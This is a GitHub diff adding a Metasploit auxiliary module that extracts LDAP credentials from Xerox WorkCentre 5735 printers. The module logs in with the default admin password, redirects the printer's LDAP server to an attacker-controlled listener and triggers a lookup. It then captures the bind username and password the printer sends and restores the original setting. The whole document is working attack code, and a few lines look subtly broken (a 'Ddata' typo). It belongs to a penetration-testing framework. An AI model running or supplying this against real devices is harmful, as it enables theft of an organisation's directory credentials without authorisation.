|
| 1 | +# |
| 2 | +# This module requires Metasploit: http//metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +require 'rex/proto/http' |
| 7 | +require 'msf/core' |
| 8 | + |
| 9 | +class Metasploit3 < Msf::Auxiliary |
| 10 | + include Msf::Exploit::Remote::HttpClient |
| 11 | + include Msf::Exploit::Remote::TcpServer |
| 12 | + include Msf::Auxiliary::Report |
| 13 | + |
| 14 | + def initialize(info={}) |
| 15 | + super(update_info(info, |
| 16 | + 'Name' => 'Xerox workcentre 5735 LDAP credential extractor', |
| 17 | + 'Description' => %{ |
| 18 | + This module extract the printers LDAP user and password from Xerox workcentre 5735. |
| 19 | + }, |
| 20 | + 'Author' => |
| 21 | + [ |
| 22 | + 'Deral "Percentx" Heiland', |
| 23 | + 'Pete "Bokojan" Arzamendi' |
| 24 | + ], |
| 25 | + 'License' => MSF_LICENSE |
| 26 | + )) |
| 27 | + |
| 28 | + register_options( |
| 29 | + [ |
| 30 | + OptBool.new('SSL', [true, 'Negotiate SSL for outgoing connections', false]), |
| 31 | + OptString.new('PASSWORD', [true, 'Password to access administrative interface. Defaults to 1111', '1111']), |
| 32 | + OptInt.new('RPORT', [true, 'The target port on the remote printer. Defaults to 80', 80]), |
| 33 | + OptInt.new('TIMEOUT', [true, 'Timeout for printer connection probe.', 20]), |
| 34 | + OptInt.new('TCPDELAY', [true, 'Number of seconds the tcp server will wait before termination.', 20]), |
| 35 | + OptString.new('NewLDAPServer', [true, 'The IP address of the LDAP server you want the printer to connect back to.']) |
| 36 | + ], self.class) |
| 37 | + end |
| 38 | + |
| 39 | + def run |
| 40 | + print_status("Attempting to extract LDAP username and password for the host at #{rhost}") |
| 41 | + |
| 42 | + @auth_cookie = default_page |
| 43 | + return unless @auth_cookie |
| 44 | + |
| 45 | + status = login |
| 46 | + return unless status |
| 47 | + |
| 48 | + status = ldap_server_info |
| 49 | + return unless status |
| 50 | + |
| 51 | + status = update_ldap_server |
| 52 | + return unless status |
| 53 | + |
| 54 | + start_listener |
| 55 | + unless @data |
| 56 | + print_error('Failed to start listiner or the printer did not send us the creds. :(') |
| 57 | + status = restore_ldap_server |
| 58 | + unless status |
| 59 | + print_error('Failed to restore old LDAP server. Please manually restore') |
| 60 | + end |
| 61 | + return |
| 62 | + end |
| 63 | + |
| 64 | + status = restore_ldap_server |
| 65 | + return unless status |
| 66 | + |
| 67 | + ldap_binary_creds = Ddata.scan(/(\w+\\\w+).\s*(.+)/).flatten |
| 68 | + ldap_creds = "#{ldap_binary_creds[0]}:#{ldap_binary_creds[1]}" |
| 69 | + |
| 70 | + #Woot we got creds so lets save them.# |
| 71 | + print_good("The following creds were capured: #{ldap_creds}") |
| 72 | + loot_name = 'ldap.cp.creds' |
| 73 | + loot_type = 'text/plain' |
| 74 | + loot_filename = 'ldap-creds.text' |
| 75 | + loot_desc = 'LDAP Pass-back Harvester' |
| 76 | + p = store_loot(loot_name, loot_type, datastore['RHOST'], @data, loot_filename, loot_desc) |
| 77 | + print_status("Credentials saved in: #{p}") |
| 78 | + |
| 79 | + register_creds('ldap', rhost, @ldap_port, ldap_binary_creds[0], ldap_binary_creds[1]) |
| 80 | + end |
| 81 | + |
| 82 | + def default_page |
| 83 | + default_page = '/header.php?tab=status' |
| 84 | + method = 'GET' |
| 85 | + res = make_request(default_page, method, '') |
| 86 | + if res.blank? || res.code != 200 |
| 87 | + print_error("Failed to connect to #{rhost}. Please check the printers IP address.") |
| 88 | + return false |
| 89 | + end |
| 90 | + @model_number = res.body.scan(/productName">XEROX WorkCentre (\d*)</).flatten # will use late for a switch for diffrent Xerox models. |
| 91 | + res.get_cookies |
| 92 | + end |
| 93 | + |
| 94 | + def login |
| 95 | + login_page = '/userpost/xerox.set' |
| 96 | + login_post_data = "_fun_function=HTTP_Authenticate_fn&NextPage=%2Fproperties%2Fauthentication%2FluidLogin.php&webUsername=admin&webPassword=#{datastore['PASSWORD']}&frmaltDomain=default" |
| 97 | + method = 'POST' |
| 98 | + |
| 99 | + res = make_request(login_page, method, login_post_data) |
| 100 | + if res.blank? || res.code != 200 |
| 101 | + print_error("Failed to login on #{rhost}. Please check the password for the Administrator account ") |
| 102 | + return false |
| 103 | + end |
| 104 | + res.code |
| 105 | + end |
| 106 | + |
| 107 | + def ldap_server_info |
| 108 | + ldap_info_page = '/ldap/index.php?ldapindex=default&from=ldapConfig' |
| 109 | + method = 'GET' |
| 110 | + res = make_request(ldap_info_page, method, '') |
| 111 | + html_body = ::Nokogiri::HTML(res.body) |
| 112 | + ldap_server_settings_html = html_body.xpath('/html/body/form[1]/div[1]/div[2]/div[2]/div[2]/div[1]/div/div').text |
| 113 | + ldap_server_ip = ldap_server_settings_html.scan(/valIpv4_1_\d\[2\] = (\d+)/i).flatten |
| 114 | + ldap_port_settings = html_body.xpath('/html/body/form[1]/div[1]/div[2]/div[2]/div[2]/div[4]/script').text |
| 115 | + ldap_port_number = ldap_port_settings.scan(/valPrt_1\[2\] = (\d+)/).flatten |
| 116 | + @ldap_server = "#{ldap_server_ip[0]}.#{ldap_server_ip[1]}.#{ldap_server_ip[2]}.#{ldap_server_ip[3]}" |
| 117 | + @ldap_port = ldap_port_number[0] |
| 118 | + print_status("Found LDAP server: #{@ldap_server}") |
| 119 | + unless res.code == 200 || res.blank? |
| 120 | + print_error("Failed to get ldap data from #{rhost}.") |
| 121 | + return false |
| 122 | + end |
| 123 | + res.code |
| 124 | + end |
| 125 | + |
| 126 | + def update_ldap_server |
| 127 | + ldap_update_page = '/dummypost/xerox.set' |
| 128 | + ldap_update_post = "_fun_function=HTTP_Set_Config_Attrib_fn&NextPage=%2Fldap%2Findex.php%3Fldapindex%3Ddefault%26from%3DldapConfig&ldap.server%5Bdefault%5D.server=#{datastore['NewLDAPServer']}%3A#{datastore['SRVPORT']}&ldap.maxSearchResults=25&ldap.searchTime=30" |
| 129 | + method = 'POST' |
| 130 | + print_status("Updating LDAP server: #{datastore['NewLDAPServer']} and port: #{datastore['SRVPORT']}") |
| 131 | + res = make_request(ldap_update_page, method, ldap_update_post) |
| 132 | + if res.blank? || res.code != 200 |
| 133 | + print_error("Failed to update ldap server. Please check the host: #{rhost}") |
| 134 | + return false |
| 135 | + end |
| 136 | + res.code |
| 137 | + end |
| 138 | + |
| 139 | + def trigger_ldap_request |
| 140 | + ldap_trigger_page = '/userpost/xerox.set' |
| 141 | + ldap_trigger_post = 'nameSchema=givenName&emailSchema=mail&phoneSchema=telephoneNumber&postalSchema=postalAddress&mailstopSchema=l&citySchema=physicalDeliveryOfficeName&stateSchema=st&zipCodeSchema=postalcode&countrySchema=co&faxSchema=facsimileTelephoneNumber&homeSchema=homeDirectory&memberSchema=memberOf&uidSchema=uid&ldapSearchName=test&ldapServerIndex=default&_fun_function=HTTP_LDAP_Search_fn&NextPage=%2Fldap%2Fmappings.php%3Fldapindex%3Ddefault%26from%3DldapConfig' |
| 142 | + method = 'POST' |
| 143 | + print_status('Triggering LDAP reqeust') |
| 144 | + res = make_request(ldap_trigger_page, method, ldap_trigger_post) |
| 145 | + res.code |
| 146 | + end |
| 147 | + |
| 148 | + def start_listener |
| 149 | + server_timeout = datastore['TCPDELAY'].to_i |
| 150 | + begin |
| 151 | + print_status('Service running. Waiting for connection') |
| 152 | + Timeout.timeout(server_timeout) do |
| 153 | + exploit |
| 154 | + end |
| 155 | + rescue Timeout::Error |
| 156 | + return |
| 157 | + end |
| 158 | + end |
| 159 | + |
| 160 | + def primer |
| 161 | + trigger_ldap_request |
| 162 | + end |
| 163 | + |
| 164 | + def on_client_connect(client) |
| 165 | + on_client_data(client) |
| 166 | + end |
| 167 | + |
| 168 | + def on_client_data(client) |
| 169 | + @data = client.get_once |
| 170 | + client.stop |
| 171 | + end |
| 172 | + |
| 173 | + def restore_ldap_server |
| 174 | + ldap_restore_page = '/dummypost/xerox.set' |
| 175 | + ldap_restore_post = "_fun_function=HTTP_Set_Config_Attrib_fn&NextPage=%2Fldap%2Findex.php%3Fldapaction%3Dadd%26ldapindex%3Ddefault%26from%3DldapConfig&ldap.server%5Bdefault%5D.server=#{@ldap_server}%3A#{@ldap_port}&ldap.maxSearchResults=25&ldap.searchTime=30&ldap.search.uid=uid&ldap.search.name=givenName&ldap.search.email=mail&ldap.search.phone=telephoneNumber&ldap.search.postal=postalAddress&ldap.search.mailstop=l&ldap.search.city=physicalDeliveryOfficeName&ldap.search.state=st&ldap.search.zipcode=postalcode&ldap.search.country=co&ldap.search.ifax=No+Mappings+Available&ldap.search.faxNum=facsimileTelephoneNumber&ldap.search.home=homeDirectory&ldap.search.membership=memberOf" |
| 176 | + method = 'POST' |
| 177 | + print_status("Restoring LDAP server: #{@ldap_server}") |
| 178 | + res = make_request(ldap_restore_page, method, ldap_restore_post) |
| 179 | + if res.blank? || res.code != 200 |
| 180 | + print_error("Failed to restore LDAP server: #{@ldap_server}. Please fix manually") |
| 181 | + return false |
| 182 | + end |
| 183 | + res.code |
| 184 | + end |
| 185 | + |
| 186 | + def make_request(page, method, post_data) |
| 187 | + begin |
| 188 | + res = send_request_cgi( |
| 189 | + { |
| 190 | + 'uri' => page, |
| 191 | + 'method' => method, |
| 192 | + 'cookie' => @auth_cookie, |
| 193 | + 'data' => post_data |
| 194 | + }, datastore['TIMEOUT'].to_i) |
| 195 | + return res |
| 196 | + rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError, ::Errno::EPIPE |
| 197 | + print_error("#{rhost}:#{rport} - Connection failed.") |
| 198 | + return false |
| 199 | + end |
| 200 | + end |
| 201 | + |
| 202 | + def register_creds(service_name, remote_host, remote_port, username, password) |
| 203 | + credential_data = { |
| 204 | + origin_type: :service, |
| 205 | + module_fullname: self.fullname, |
| 206 | + workspace_id: myworkspace.id, |
| 207 | + private_data: password, |
| 208 | + private_type: :password, |
| 209 | + username: username |
| 210 | + } |
| 211 | + |
| 212 | + service_data = { |
| 213 | + address: remote_host, |
| 214 | + port: remote_port, |
| 215 | + service_name: service_name, |
| 216 | + protocol: 'tcp', |
| 217 | + workspace_id: myworkspace_id |
| 218 | + } |
| 219 | + |
| 220 | + credential_data.merge!(service_data) |
| 221 | + credential_core = create_credential(credential_data) |
| 222 | + |
| 223 | + login_data = { |
| 224 | + core: credential_core, |
| 225 | + status: Metasploit::Model::Login::Status::UNTRIED, |
| 226 | + workspace_id: myworkspace_id |
| 227 | + } |
| 228 | + |
| 229 | + login_data.merge!(service_data) |
| 230 | + create_credential_login(login_data) |
| 231 | + |
| 232 | + end |
| 233 | +end |
0 commit comments